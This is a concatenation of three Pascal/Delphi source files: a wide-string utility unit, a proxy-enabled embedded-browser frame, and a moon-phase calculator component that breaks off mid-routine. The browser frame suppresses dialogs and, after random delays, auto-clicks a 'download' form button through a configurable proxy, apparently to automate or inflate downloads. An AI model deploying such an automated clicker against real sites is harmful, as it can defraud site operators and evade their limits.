function WStrBufSize(const Str: PWideChar): Cardinal;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrMove(Dest: PWideChar; const Source: PWideChar; Count: Cardinal): PWideChar;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WStrNew(const Str: PWideChar): PWideChar;
procedure WStrDispose(Str: PWideChar);
{$ENDIF}
//---------------------------------------------------------------------------------------------
{$IFNDEF COMPILER_9_UP}
function WStrLen(Str: PWideChar): Cardinal;
function WStrEnd(Str: PWideChar): PWideChar;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrCat(Dest: PWideChar; const Source: PWideChar): PWideChar;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WStrCopy(Dest, Source: PWideChar): PWideChar;
function WStrLCopy(Dest, Source: PWideChar; MaxLen: Cardinal): PWideChar;
function WStrPCopy(Dest: PWideChar; const Source: WideString): PWideChar;
function WStrPLCopy(Dest: PWideChar; const Source: WideString; MaxLen: Cardinal): PWideChar;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrScan(const Str: PWideChar; Chr: WideChar): PWideChar;
// WStrComp and WStrPos were introduced as broken in Delphi 2006, but fixed in Delphi 2006 Update 2
function WStrComp(Str1, Str2: PWideChar): Integer;
function WStrPos(Str, SubStr: PWideChar): PWideChar;
{$ENDIF}
function Tnt_WStrComp(Str1, Str2: PWideChar): Integer; deprecated;
function Tnt_WStrPos(Str, SubStr: PWideChar): PWideChar; deprecated;
{ ------------ introduced --------------- }
function WStrECopy(Dest, Source: PWideChar): PWideChar;
function WStrLComp(Str1, Str2: PWideChar; MaxLen: Cardinal): Integer;
function WStrLIComp(Str1, Str2: PWideChar; MaxLen: Cardinal): Integer;
function WStrIComp(Str1, Str2: PWideChar): Integer;
function WStrLower(Str: PWideChar): PWideChar;
function WStrUpper(Str: PWideChar): PWideChar;
function WStrRScan(const Str: PWideChar; Chr: WideChar): PWideChar;
function WStrLCat(Dest: PWideChar; const Source: PWideChar; MaxLen: Cardinal): PWideChar;
function WStrPas(const Str: PWideChar): WideString;
{ SysUtils.pas } //-------------------------------------------------------------------------
{$IFNDEF COMPILER_10_UP}
function WideLastChar(const S: WideString): PWideChar;
function WideQuotedStr(const S: WideString; Quote: WideChar): WideString;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WideExtractQuotedStr(var Src: PWideChar; Quote: WideChar): Widestring;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WideDequotedStr(const S: WideString; AQuote: WideChar): WideString;
{$ENDIF}
implementation
uses
{$IFDEF COMPILER_9_UP} WideStrUtils, {$ENDIF} Math, Windows, UWindows;
{$IFNDEF COMPILER_9_UP}
function WStrAlloc(Size: Cardinal): PWideChar;
begin
Size := SizeOf(Cardinal) + (Size * SizeOf(WideChar));
GetMem(Result, Size);
PCardinal(Result)^ := Size;
Inc(PAnsiChar(Result), SizeOf(Cardinal));
end;
function WStrBufSize(const Str: PWideChar): Cardinal;
var
P: PWideChar;
begin
P := Str;
Dec(PAnsiChar(P), SizeOf(Cardinal));
Result := PCardinal(P)^ - SizeOf(Cardinal);
Result := Result div SizeOf(WideChar);
end;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrMove(Dest: PWideChar; const Source: PWideChar; Count: Cardinal): PWideChar;
var
Length: Integer;
begin
Result := Dest;
Length := Count * SizeOf(WideChar);
Move(Source^, Dest^, Length);
end;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WStrNew(const Str: PWideChar): PWideChar;
var
Size: Cardinal;
begin
if Str = nil then Result := nil else
begin
Size := WStrLen(Str) + 1;
Result := WStrMove(WStrAlloc(Size), Str, Size);
end;
end;
procedure WStrDispose(Str: PWideChar);
begin
if Str <> nil then
begin
Dec(PAnsiChar(Str), SizeOf(Cardinal));
FreeMem(Str, Cardinal(Pointer(Str)^));
end;
end;
{$ENDIF}
//---------------------------------------------------------------------------------------------
{$IFNDEF COMPILER_9_UP}
function WStrLen(Str: PWideChar): Cardinal;
begin
Result := WStrEnd(Str) - Str;
end;
function WStrEnd(Str: PWideChar): PWideChar;
begin
// returns a pointer to the end of a null terminated string
Result := Str;
While Result^ <> #0 do
Inc(Result);
end;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrCat(Dest: PWideChar; const Source: PWideChar): PWideChar;
begin
Result := Dest;
WStrCopy(WStrEnd(Dest), Source);
end;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WStrCopy(Dest, Source: PWideChar): PWideChar;
begin
Result := WStrLCopy(Dest, Source, MaxInt);
end;
function WStrLCopy(Dest, Source: PWideChar; MaxLen: Cardinal): PWideChar;
var
Count: Cardinal;
begin
// copies a specified maximum number of characters from Source to Dest
Result := Dest;
Count := 0;
While (Count < MaxLen) and (Source^ <> #0) do begin
Dest^ := Source^;
Inc(Source);
Inc(Dest);
Inc(Count);
end;
Dest^ := #0;
end;
function WStrPCopy(Dest: PWideChar; const Source: WideString): PWideChar;
begin
Result := WStrLCopy(Dest, PWideChar(Source), Length(Source));
end;
function WStrPLCopy(Dest: PWideChar; const Source: WideString; MaxLen: Cardinal): PWideChar;
begin
Result := WStrLCopy(Dest, PWideChar(Source), MaxLen);
end;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WStrScan(const Str: PWideChar; Chr: WideChar): PWideChar;
begin
Result := Str;
while Result^ <> Chr do
begin
if Result^ = #0 then
begin
Result := nil;
Exit;
end;
Inc(Result);
end;
end;
function WStrComp(Str1, Str2: PWideChar): Integer;
begin
Result := WStrLComp(Str1, Str2, MaxInt);
end;
function WStrPos(Str, SubStr: PWideChar): PWideChar;
var
PSave: PWideChar;
P: PWideChar;
PSub: PWideChar;
begin
// returns a pointer to the first occurance of SubStr in Str
Result := nil;
if (Str <> nil) and (Str^ <> #0) and (SubStr <> nil) and (SubStr^ <> #0) then begin
P := Str;
While P^ <> #0 do begin
if P^ = SubStr^ then begin
// investigate possibility here
PSave := P;
PSub := SubStr;
While (P^ = PSub^) do begin
Inc(P);
Inc(PSub);
if (PSub^ = #0) then begin
Result := PSave;
exit; // found a match
end;
if (P^ = #0) then
exit; // no match, hit end of string
end;
P := PSave;
end;
Inc(P);
end;
end;
end;
{$ENDIF}
function Tnt_WStrComp(Str1, Str2: PWideChar): Integer; deprecated;
begin
Result := WStrComp(Str1, Str2);
end;
function Tnt_WStrPos(Str, SubStr: PWideChar): PWideChar; deprecated;
begin
Result := WStrPos(Str, SubStr);
end;
//------------------------------------------------------------------------------
function WStrECopy(Dest, Source: PWideChar): PWideChar;
begin
Result := WStrEnd(WStrCopy(Dest, Source));
end;
function WStrComp_EX(Str1, Str2: PWideChar; MaxLen: Cardinal; dwCmpFlags: Cardinal): Integer;
var
Len1, Len2: Integer;
begin
if MaxLen = Cardinal(MaxInt) then begin
Len1 := -1;
Len2 := -1;
end else begin
Len1 := Min(WStrLen(Str1), MaxLen);
Len2 := Min(WStrLen(Str2), MaxLen);
end;
Result := Tnt_CompareStringW(GetThreadLocale, dwCmpFlags, Str1, Len1, Str2, Len2) - 2;
end;
function WStrLComp(Str1, Str2: PWideChar; MaxLen: Cardinal): Integer;
begin
Result := WStrComp_EX(Str1, Str2, MaxLen, 0);
end;
function WStrLIComp(Str1, Str2: PWideChar; MaxLen: Cardinal): Integer;
begin
Result := WStrComp_EX(Str1, Str2, MaxLen, NORM_IGNORECASE);
end;
function WStrIComp(Str1, Str2: PWideChar): Integer;
begin
Result := WStrLIComp(Str1, Str2, MaxInt);
end;
function WStrLower(Str: PWideChar): PWideChar;
begin
Result := Str;
Tnt_CharLowerBuffW(Str, WStrLen(Str))
end;
function WStrUpper(Str: PWideChar): PWideChar;
begin
Result := Str;
Tnt_CharUpperBuffW(Str, WStrLen(Str))
end;
function WStrRScan(const Str: PWideChar; Chr: WideChar): PWideChar;
var
MostRecentFound: PWideChar;
begin
if Chr = #0 then
Result := WStrEnd(Str)
else
begin
Result := nil;
MostRecentFound := Str;
while True do
begin
while MostRecentFound^ <> Chr do
begin
if MostRecentFound^ = #0 then
Exit;
Inc(MostRecentFound);
end;
Result := MostRecentFound;
Inc(MostRecentFound);
end;
end;
end;
function WStrLCat(Dest: PWideChar; const Source: PWideChar; MaxLen: Cardinal): PWideChar;
begin
Result := Dest;
WStrLCopy(WStrEnd(Dest), Source, MaxLen - WStrLen(Dest));
end;
function WStrPas(const Str: PWideChar): WideString;
begin
Result := Str;
end;
//---------------------------------------------------------------------------------------------
{$IFNDEF COMPILER_10_UP}
function WideLastChar(const S: WideString): PWideChar;
begin
if S = '' then
Result := nil
else
Result := @S[Length(S)];
end;
function WideQuotedStr(const S: WideString; Quote: WideChar): WideString;
var
P, Src,
Dest: PWideChar;
AddCount: Integer;
begin
AddCount := 0;
P := WStrScan(PWideChar(S), Quote);
while (P <> nil) do
begin
Inc(P);
Inc(AddCount);
P := WStrScan(P, Quote);
end;
if AddCount = 0 then
Result := Quote + S + Quote
else
begin
SetLength(Result, Length(S) + AddCount + 2);
Dest := PWideChar(Result);
Dest^ := Quote;
Inc(Dest);
Src := PWideChar(S);
P := WStrScan(Src, Quote);
repeat
Inc(P);
Move(Src^, Dest^, 2 * (P - Src));
Inc(Dest, P - Src);
Dest^ := Quote;
Inc(Dest);
Src := P;
P := WStrScan(Src, Quote);
until P = nil;
P := WStrEnd(Src);
Move(Src^, Dest^, 2 * (P - Src));
Inc(Dest, P - Src);
Dest^ := Quote;
end;
end;
{$ENDIF}
{$IFNDEF COMPILER_9_UP}
function WideExtractQuotedStr(var Src: PWideChar; Quote: WideChar): Widestring;
var
P, Dest: PWideChar;
DropCount: Integer;
begin
Result := '';
if (Src = nil) or (Src^ <> Quote) then Exit;
Inc(Src);
DropCount := 1;
P := Src;
Src := WStrScan(Src, Quote);
while Src <> nil do // count adjacent pairs of quote chars
begin
Inc(Src);
if Src^ <> Quote then Break;
Inc(Src);
Inc(DropCount);
Src := WStrScan(Src, Quote);
end;
if Src = nil then Src := WStrEnd(P);
if ((Src - P) <= 1) then Exit;
if DropCount = 1 then
SetString(Result, P, Src - P - 1)
else
begin
SetLength(Result, Src - P - DropCount);
Dest := PWideChar(Result);
Src := WStrScan(P, Quote);
while Src <> nil do
begin
Inc(Src);
if Src^ <> Quote then Break;
Move(P^, Dest^, (Src - P) * SizeOf(WideChar));
Inc(Dest, Src - P);
Inc(Src);
P := Src;
Src := WStrScan(Src, Quote);
end;
if Src = nil then Src := WStrEnd(P);
Move(P^, Dest^, (Src - P - 1) * SizeOf(WideChar));
end;
end;
{$ENDIF}
{$IFNDEF COMPILER_10_UP}
function WideDequotedStr(const S: WideString; AQuote: WideChar): WideString;
var
LText : PWideChar;
begin
LText := PWideChar(S);
Result := WideExtractQuotedStr(LText, AQuote);
if Result = '' then
Result := S;
end;
{$ENDIF}
end.
|
unit uNavegador;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, OleCtrls, SHDocVw_EWB, EwbCore, EmbeddedWB, ComCtrls, ExtCtrls, Math;
type
TNavegadorProxy = class(TFrame)
EmbeddedWB1: TEmbeddedWB;
Panel1: TPanel;
ProgressBar1: TProgressBar;
Panel2: TPanel;
TimerDownload: TTimer;
TimerFechaLimite: TTimer;
TimerFechar: TTimer;
procedure EmbeddedWB1BeforeNavigate2(ASender: TObject; const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData, Headers: OleVariant; var Cancel: WordBool);
procedure EmbeddedWB1DownloadBegin(Sender: TObject);
procedure EmbeddedWB1ProgressChange(ASender: TObject; Progress, ProgressMax: Integer);
procedure EmbeddedWB1ScriptError(Sender: TObject; ErrorLine, ErrorCharacter, ErrorCode, ErrorMessage, ErrorUrl: string; var ContinueScript, Showdialog: Boolean);
function EmbeddedWB1ShowMessage(HWND: Cardinal; lpstrText, lpstrCaption: PWideChar; dwType: Integer; lpstrHelpFile: PWideChar; dwHelpContext: Integer; var plResult: Integer): HRESULT;
procedure EmbeddedWB1StatusTextChange(ASender: TObject; const Text: WideString);
procedure EmbeddedWB1DocumentComplete(ASender: TObject; const pDisp: IDispatch; var URL: OleVariant);
procedure TimerDownloadTimer(Sender: TObject);
procedure TimerFecharTimer(Sender: TObject);
procedure TimerFechaLimiteTimer(Sender: TObject);
private
{ Private declarations }
public
procedure NavegaProxy(Url: string; Proxy: string);
procedure Navega(Url: string);
procedure SetProxy(Proxy: string);
procedure ExecutaTimerDownload;
{ Public declarations }
end;
implementation
{$R *.dfm}
function SendForm(WebBrowser: TEmbeddedWB; FieldName: string): boolean;
var
i, j: Integer;
FormItem: Variant;
begin
Result := False;
try
if WebBrowser.OleObject.Document.all.tags('FORM').Length = 0 then
begin
Exit;
end;
for I := 0 to WebBrowser.OleObject.Document.forms.Length - 1 do
begin
FormItem := WebBrowser.OleObject.Document.forms.Item(I);
for j := 0 to FormItem.Length - 1 do
begin
try
if FormItem.Item(j).Name = FieldName then
begin
FormItem.Item(j).Click;
Result := True;
end;
except
Exit;
end;
end;
end;
except
end;
end;
procedure TNavegadorProxy.Navega(Url: string);
begin
EmbeddedWB1.Navigate(Url);
end;
procedure TNavegadorProxy.NavegaProxy(Url: string; Proxy: string);
begin
EmbeddedWB1.ProxySettings.SetProxy(EmbeddedWB1.UserAgent, Proxy);
EmbeddedWB1.Navigate(Url);
end;
procedure TNavegadorProxy.SetProxy(Proxy: string);
begin
EmbeddedWB1.ProxySettings.SetProxy(EmbeddedWB1.UserAgent, Proxy);
end;
procedure TNavegadorProxy.EmbeddedWB1BeforeNavigate2(ASender: TObject;
const pDisp: IDispatch; var URL, Flags, TargetFrameName, PostData,
Headers: OleVariant; var Cancel: WordBool);
begin
Panel2.Caption := URL;
end;
procedure TNavegadorProxy.EmbeddedWB1DownloadBegin(Sender: TObject);
begin
ProgressBar1.Position := 0;
end;
procedure TNavegadorProxy.EmbeddedWB1ProgressChange(ASender: TObject;
Progress, ProgressMax: Integer);
begin
try
if Progress > 0 then
begin
ProgressBar1.Max := ProgressMax;
ProgressBar1.Position := Progress;
end
else
begin
ProgressBar1.Position := 0;
end;
except
end;
end;
procedure TNavegadorProxy.EmbeddedWB1ScriptError(Sender: TObject;
ErrorLine, ErrorCharacter, ErrorCode, ErrorMessage, ErrorUrl: string;
var ContinueScript, Showdialog: Boolean);
begin
try
Showdialog := false; //Do not show the script error dialog
ContinueScript := true; //Go on loading the page
except
end;
end;
function TNavegadorProxy.EmbeddedWB1ShowMessage(HWND: Cardinal; lpstrText,
lpstrCaption: PWideChar; dwType: Integer; lpstrHelpFile: PWideChar;
dwHelpContext: Integer; var plResult: Integer): HRESULT;
begin
Result := S_OK; //Don't show the messagebox
end;
procedure TNavegadorProxy.EmbeddedWB1StatusTextChange(ASender: TObject;
const Text: WideString);
begin
// if (LowerCase(Copy(Text, 1, 7)) = 'http://') or (LowerCase(Copy(Text, 1, 10)) = 'javascript') or (Trim(Text) = '') then
// wStatusBar.Panels[2].Text := Text;
end;
procedure TNavegadorProxy.EmbeddedWB1DocumentComplete(ASender: TObject; const pDisp: IDispatch; var URL: OleVariant);
begin
ExecutaTimerDownload;
end;
procedure TNavegadorProxy.ExecutaTimerDownload;
var
Tempo: integer;
begin
Randomize;
Tempo := RandomRange(1500, 4000);
TimerDownload.Interval := Tempo;
TimerDownload.Enabled := true;
end;
procedure TNavegadorProxy.TimerDownloadTimer(Sender: TObject);
var
Tempo: integer;
begin
SendForm(EmbeddedWB1, 'download');
(Sender as TTimer).Enabled := false;
Randomize;
Tempo := RandomRange(5000, 15000);
TimerFechar.Interval := Tempo;
TimerFechar.Enabled := true;
end;
procedure TNavegadorProxy.TimerFecharTimer(Sender: TObject);
begin
//fechar aplicašao apos clicar no botao download
end;
procedure TNavegadorProxy.TimerFechaLimiteTimer(Sender: TObject);
begin
if (Sender as TTimer).Interval = 100 then
begin
(Sender as TTimer).Enabled := false;
(Sender as TTimer).Interval := 30000;
(Sender as TTimer).Enabled := true;
end
else
begin
(Sender as TTimer).Enabled := false;
//fechar aplicašao apos nao dar nada certo
end;
end;
end.
|
//******************************************************************************
// Moonphases unit : compute moon phases times
// original author : alantell - november 2004 from astronomy books
// Lazarus adaptation and improvements : bb - sdtp - May 2021
//
// Parameters:
// Moonyear (Integer) : Selected year for moon phases
// Moondate (TDateTime) : Selected date for the function isMoon
// Properties
// isMoon (TMoonRecord) : Is there a moon phase on the day Moondate
// Crescent (Boolean) : True, the list has 8 phases and has 112 dates and hours
// False, the list has 4 phases and has 56 date and hours
// Moondays (TMoonDays) : Array of 56 TMoonRecords containing moon pahses for the year Moonyear
// MoonImages (TImageList): List of 8 moon images relative to MIndex value
// Type
// TMoonRecord
// MDays (TDateTime) : Moonphase date and hour, or InvalidDate (01/01/0001) if not found
// MType (String) : New Moon, Waxing crescent, First quarter, Waxing gibbous,
// Full moon, Waning gibbous, third/last quarter, Waning crescent
// MIndex (Integer) : 0 (NM) to 7 (WC) Useful to acces MoonImages and/or customize application
//**************************************************************************************************
unit Moonphases;
{$mode objfpc}{$H+}
interface
uses
Classes, SysUtils, LResources, Forms, Controls, Graphics, Dialogs;
type
TMoonRecord = record
MDays: TDateTime;
MType: string;
MIndex: Integer;
end;
TMoonDays = array of TMoonRecord;
TMoonphases = class(TComponent)
private
fversion: String;
fMoondays: TMoonDays;
fMoonyear: Integer;
fMoondate: TDateTime;
fCrescents: Boolean;
fTimeZone: Double;
fready: Boolean;
fMoonImages: TImageList;
procedure Get_MoonDays;
procedure setMoonDate(value: TDateTime);
procedure setMoonYear(value: Integer);
procedure SetCrescents(value: Boolean);
procedure SetTimeZone(Value: Double);
protected
public
constructor Create(AOwner: TComponent); override;
destructor Destroy; override;
function isMoon: TMoonRecord;
property Version : String read fversion;
property Moondate: TDateTime read fMoondate write SetMoondate;
property Moondays: TMoonDays read fMoonDays;
property MoonImages: TImageList read fMoonImages; // write setMoonImages;
published
property Moonyear: Integer read fMoonyear write setMoonYear;
property Crescents: Boolean read FCrescents write SetCrescents;
property Timezone: Double read fTimezone write setTimezone;
end;
const
InvalidDate= -693593; // 1st january 0001
procedure Register;
implementation
const
simgArr: array of String = ('new_moon', 'waxing_crescent', 'first_quarter', 'waxing_gibbous', 'full_moon', 'waning_gibbous', 'last_quarter', 'waning_crescent');
procedure Register;
begin
{$I moonphases.lrs}
RegisterComponents('lazbbAstroComponents',[TMoonphases]);
end;
constructor TMoonphases.Create(AOwner: TComponent);
var
i: Integer;
begin
inherited Create(AOwner);
{$I moonphases.lrs}
fVersion:= '1.0';
fMoonYear:= CurrentYear;
fTimeZone:= 0;
fMoonImages:= TimageList.Create(self);
fMoonImages.Height:= 44;
fMoonImages.Width:= 44;
For i:= 0 to 7 do
fmoonImages.AddLazarusResource(simgArr[i]);
fReady:= false;
end;
destructor TMoonphases.Destroy;
begin
inherited Destroy;
end;
procedure TMoonphases.setMoonDate(value: TDateTime);
begin
if fMoonDate<>value then
begin
fMoonDate:= value;
end;
end;
procedure TMoonphases.setMoonYear(value: Integer);
begin
if fMoonYear<>value then
begin
fMoonYear:= value;
if not (csDesigning in ComponentState) then Get_MoonDays;
end;
end;
procedure TMoonphases.SetCrescents(value: Boolean);
begin
if fCrescents<> value then
fCrescents:= value;
if not (csDesigning in ComponentState) then Get_MoonDays;
end;
procedure TMoonphases.SetTimeZone(Value: Double);
begin
if (fTimeZone <> Value) and (Value >= -12) and (Value <= +12) then
begin
fTimeZone := Value;
if not (csDesigning in ComponentState) then Get_MoonDays;
end;
end;
procedure TMoonphases.Get_MoonDays;
// const du jour julien du 01-01-2000 à 12h TU
// ou 0h GMT 01-01-2000 12:00:00 TU 2451545 JJ
// const JJ2000 = 2451545;
var
TDatL, TxtL: string;
AnDecim, T, T2, T3, Rd, AMSol, AMLun, LatLune, PhMoyL: double;
NoLune, tLune, J, gLunes, PhLun, HrLun, MnLun: byte;
AnPh, MoPh, AJour, LunAnW, LunMsW, JrLunEntW: word;
CptLMax, CptL, PentPhL, PentPhMoyL, PfracPhMoyL, Alpha, B, C, D, E: single;
LunAn, LunMs, JrLun, JrLunFrac, TotHeu, TotMin, TotSec: single;
ListDatLun: array of string;
//ListHeuLun: array[1..56] of string;
gNbrLune: array of byte;
AnBis, Found : boolean;
NumDays: Integer;
interval: Double;
ndx: Integer;
begin
// Avoid trouble on the beginning of year, substreact some days
AnPh:= fMoonYear-1;
MoPh:= 12;
Ajour:= 1; // avoid error in february when using ajour+3
gLunes:= 0;
if fCrescents then
begin
Numdays:= 112;
interval:= 0.125;
end else
begin
numdays:= 56;
interval:= 0.250;
end;
SetLength(fMoondays, Numdays);
SetLength(ListDatLun, Numdays);
SetLength(gNbrLune, NumDays);
CptLMax:= 14; // définit le nb phase de lune ex: 13 lunes => 56 phases
// valeur année décimale par mois si année bissextile ou pas
AnBis:= ((AnPh Mod 4)= 0); // si = 0 année bissextile
if AnBis then begin
case MoPh of
1: AnDecim:= 4.24375935815675E-02;
2: AnDecim:= 0.124574871481376;
3: AnDecim:= 0.20534319474952;
4: AnDecim:= 0.288849427280992;
5: AnDecim:= 0.372355659812463;
6: AnDecim:= 0.455861892343935;
7: AnDecim:= 0.539368124875406;
8: AnDecim:= 0.624243312038541;
9: AnDecim:= 0.707749544570013;
10: AnDecim:= 0.791255777101484;
11: AnDecim:= 0.874762009632956;
12: AnDecim:= 0.958268242164428;
end;
end
else begin
case MoPh of
1: AnDecim:= 4.24375935815675E-02;
2: AnDecim:= 0.123205916849712;
3: AnDecim:= 0.203974240117857;
4: AnDecim:= 0.287480472649328;
5: AnDecim:= 0.3709867051808;
6: AnDecim:= 0.454492937712271;
7: AnDecim:= 0.537999170243743;
8: AnDecim:= 0.622874357406878;
9: AnDecim:= 0.706380589938349;
10: AnDecim:= 0.789886822469821;
11: AnDecim:= 0.873393055001292;
12: AnDecim:= 0.956899287532764;
end;
end;
// calcul nb de lunaison CptL nb de lunes en 1 an 12.3685 => 365.25 / 29.53058
// nombre de lunaisons depuis le 1/1/1900
CptL:= Trunc(((AnPh + AnDecim) - 1900) * 12.3685);
CptLMax:= CptL + CptLMax;
//CalculDesPh:
while (CptL < CptLMax) do
begin
T:= CptL / 1236.85; T2:= T*T; T3:= T*T*T; Rd:= PI / 180;
// anomalie moyenne du soleil : AMSol
AMSol:= 359.2242 + (29.10535608 * CptL) - (0.0000333 * T2) - (0.00000347 * T3);
if AMSol > 360 then AMSol:= frac(AMSol/360) * 360; // intervalle 0-360°
// anomalie moyenne de la lune : AMLun
AMLun:= 306.0253 + (385.81691806 * CptL) + (0.0107306 * T2) + (0.00001236 * T3);
if AMLun > 360 then AMLun:= frac(AMLun/360) * 360; // intervalle 0-360°
// Latitude de la lune
LatLune:= 21.2964 + (390.67050646 * CptL)-(0.0016528 * T2)-(0.00000239 * T3);
if LatLune > 360 then LatLune:= frac(LatLune/360) * 360; // intervalle 0-360°
// Phase moyenne de la Lune 2415020.75933 1er jour julien 1/1/-4711
PhMoyL:= 2415020.75933 + (29.53058868 * CptL) + (0.0001178*T2)-(0.000000155*T3);
PhMoyL:= PhMoyL + (0.00033*Sin((Rd*166.56) + (Rd*132.87)*T)-((Rd*0.009173*T2)));
// degrés en radian
AMSol:= AMSol * Rd;
AMLun:= AMLun * Rd;
LatLune:= LatLune * Rd;
// correction de la phase vraie pour nouvelle et pleine lune
if (frac(CptL) = 0.0) Or (frac(CptL) = 0.5) Or (frac(CptL) = -0.5) then
begin
PhMoyL:= PhMoyL + ((0.1734 - 0.000393 * T) * Sin(AMSol));
PhMoyL:= PhMoyL + (0.0021 * Sin(2 * AMSol));
PhMoyL:= PhMoyL - (0.4068 * Sin(AMLun));
PhMoyL:= PhMoyL + (0.0161 * Sin(2 * AMLun));
PhMoyL:= PhMoyL - (0.0004 * Sin(3 * AMLun));
PhMoyL:= PhMoyL + (0.0104 * Sin(2 * LatLune));
PhMoyL:= PhMoyL - (0.0051 * Sin(AMSol + AMLun));
PhMoyL:= PhMoyL - (0.0074 * Sin(AMSol - AMLun));
PhMoyL:= PhMoyL + (0.0004 * Sin((2 * LatLune) + AMSol));
PhMoyL:= PhMoyL - (0.0004 * Sin((2 * LatLune) - AMSol));
PhMoyL:= PhMoyL - (0.0006000001 * Sin((2 * LatLune) + AMLun));
PhMoyL:= PhMoyL + (0.001 * Sin((2 * LatLune) - AMLun));
PhMoyL:= PhMoyL + 0.0005 * Sin(AMSol + (2 * AMLun));
end
else begin
// correction de la phase vraie pour premier et dernier quartier lune
PhMoyL:= PhMoyL + (0.1721 - 0.0004 * T) * Sin(AMSol);
PhMoyL:= PhMoyL + 0.0021 * Sin(2 * AMSol);
PhMoyL:= PhMoyL - 0.628 * Sin(AMLun);
PhMoyL:= PhMoyL + 0.0089 * Sin(2 * AMLun);
PhMoyL:= PhMoyL - 0.0004 * Sin(3 * AMLun);
PhMoyL:= PhMoyL + 0.0079 * Sin(2 * LatLune);
PhMoyL:= PhMoyL - 0.0119 * Sin(AMSol + AMLun);
PhMoyL:= PhMoyL - 0.0047 * Sin(AMSol - AMLun);
PhMoyL:= PhMoyL + 0.0003 * Sin(2 * LatLune + AMSol);
PhMoyL:= PhMoyL - 0.0004 * Sin(2 * LatLune - AMSol);
PhMoyL:= PhMoyL - 0.0006000001 * Sin(2 * LatLune + AMLun);
PhMoyL:= PhMoyL + 0.0021 * Sin(2 * LatLune - AMLun);
PhMoyL:= PhMoyL + 0.0003 * Sin(AMSol + 2 * AMLun);
PhMoyL:= PhMoyL + 0.0004 * Sin(AMSol - 2 * AMLun);
PhMoyL:= PhMoyL - 0.0003 * Sin(2 * AMSol - AMLun);
// ajustement suivant le quartier
if (CptL >= 0) then
begin
if (frac(CptL) = 0.25) then PhMoyL:= PhMoyL + 0.0028 - 0.0004 * Cos(AMSol) + 0.0003 * Cos(AMLun); //1er quartier
if (frac(CptL) = 0.75) then PhMoyL:= PhMoyL - 0.0028 + 0.0004 * Cos(AMSol) - 0.0003 * Cos(AMLun); // dernier quartier
end else
begin
if (frac(CptL) = -0.25) then PhMoyL:= PhMoyL - 0.0028 + 0.0004 * Cos(AMSol) - 0.0003 * Cos(AMLun);
if (frac(CptL) = -0.75) then PhMoyL:= PhMoyL + 0.0028 - 0.0004 * Cos(AMSol) + 0.0003 * Cos(AMLun);
end;
end;
// calcul des dates de lune calendrier
PhMoyL:= PhMoyL + 0.5;
PentPhMoyL:= Trunc(PhMoyL);
PfracPhMoyL:= frac(PhMoyL);
if PentPhMoyL < 2299161 then PentPhL:= PentPhMoyL
else
begin
ALPHA:= Trunc((PentPhMoyL - 1867216.25) / 36524.25);
PentPhL:= PentPhMoyL + 1 + ALPHA - Trunc(ALPHA / 4);
end;
B:= PentPhL + 1524;
C:= Trunc((B - 122.1) / 365.25);
D:= Trunc(365.25 * C);
E:= Trunc((B - D) / 30.6001);
JrLun:= B - D - Trunc(30.6001 * E) + PfracPhMoyL;
LunMs:= 1; // initialisation
if E < 13.5 then LunMs:= E - 1;
if E > 13.5 then LunMs:= E - 13;
if LunMs > 2.5 then LunAn:= C - 4716;
if LunMs < 2.5 then LunAn:= C - 4715;
LunAnW:= Trunc(LunAn);
LunMsW:= Trunc(LunMs);
JrLunEntW:= Trunc(JrLun);
JrLunFrac:= frac(JrLun);
TotSec:= JrLunFrac * 86400;
TotHeu:= (TotSec / 3600);
HrLun:= Trunc(TotHeu);
TotMin:= frac(TotHeu) * 60;
MnLun:= Trunc(TotMin);
// horaire de la lune
//TUJrLun:= EncodeTime(HrLun, MnLun, 0, 0);
//THorL:= FormatDateTime('hh"h "mm',TUJrLun);
PhLun:= 0;
if CptL >= 0 then
begin
if frac(CptL) = 0.0 then PhLun:= 6; // NL Nouvelle lune
if frac(CptL) = 0.125 then PhLun:= 5; // DC Dernier croissant
if frac(CptL) = 0.25 then PhLun:= 4; // DQ Dernier quartier
if frac(CptL) = 0.375 then PhLun:= 3; // GD Gibbeuse décroissante
if frac(CptL) = 0.5 then PhLun:= 2; // PL Pleine Lune
if frac(CptL) = 0.625 then PhLun:= 1; // GC Gibbeuse croissante
if frac(CptL) = 0.75 then PhLun:= 8; // PQ Premier quartier
if frac(CptL) = 0.875 then PhLun:= 7; // PC Premier croissant
end
else begin
if frac(CptL) = -0.875 then PhLun:= 7;
if frac(CptL) = -0.75 then PhLun:= 8;// PQ
if frac(CptL) = -0.625 then PhLun:= 1;
if frac(CptL) = -0.5 then PhLun:= 2;// PL
if frac(CptL) = -0.375 then PhLun:= 3;
if frac(CptL) = -0.25 then PhLun:= 4;// DQ
if frac(CptL) = -0.125 then PhLun:= 5;
if frac(CptL) = 0.0 then PhLun:= 6;// NL
end;
try
EncodeDate(LunAnW,LunMsW,JrLunEntW); // jour de lune
except
MessageDlg('pb1' + inttostr(LunAnW) + inttostr(LunMsW) + inttostr(JrLunEntW),
mtInformation,[mbOk], 0);
end;
try
EncodeDate(LunAnW,LunMsW,JrLunEntW); // jour de lune
except
MessageDlg('pb2' + inttostr(AnPh) + inttostr(MoPh) + inttostr(AJour),
mtInformation,[mbOk], 0);
end;
Found:= False;
TDatL:= DateToStr(EncodeDate(LunAnW,LunMsW,JrLunEntW)); // jour de lune
NoLune:= PhLun;
case NoLune of
1: tLune:= 36;
2: tLune:= 35; // PL
3: tLune:= 42;
4: tLune:= 41; // PQ
5: tLune:= 40;
6: tLune:= 39; // NL
7: tLune:= 38;
8: tLune:= 37; // DQ
end;
// enregistrement des jours de lune
for J:= gLunes downTo 1 do
if ListDatLun[J] = TDatL then
begin
Found:= True;
//Exit;
end;
// End for
if not Found then
begin
gLunes:= gLunes + 1;
ListDatLun[gLunes-1]:= TDatL;
//ListHeuLun[gLunes]:= THorL;
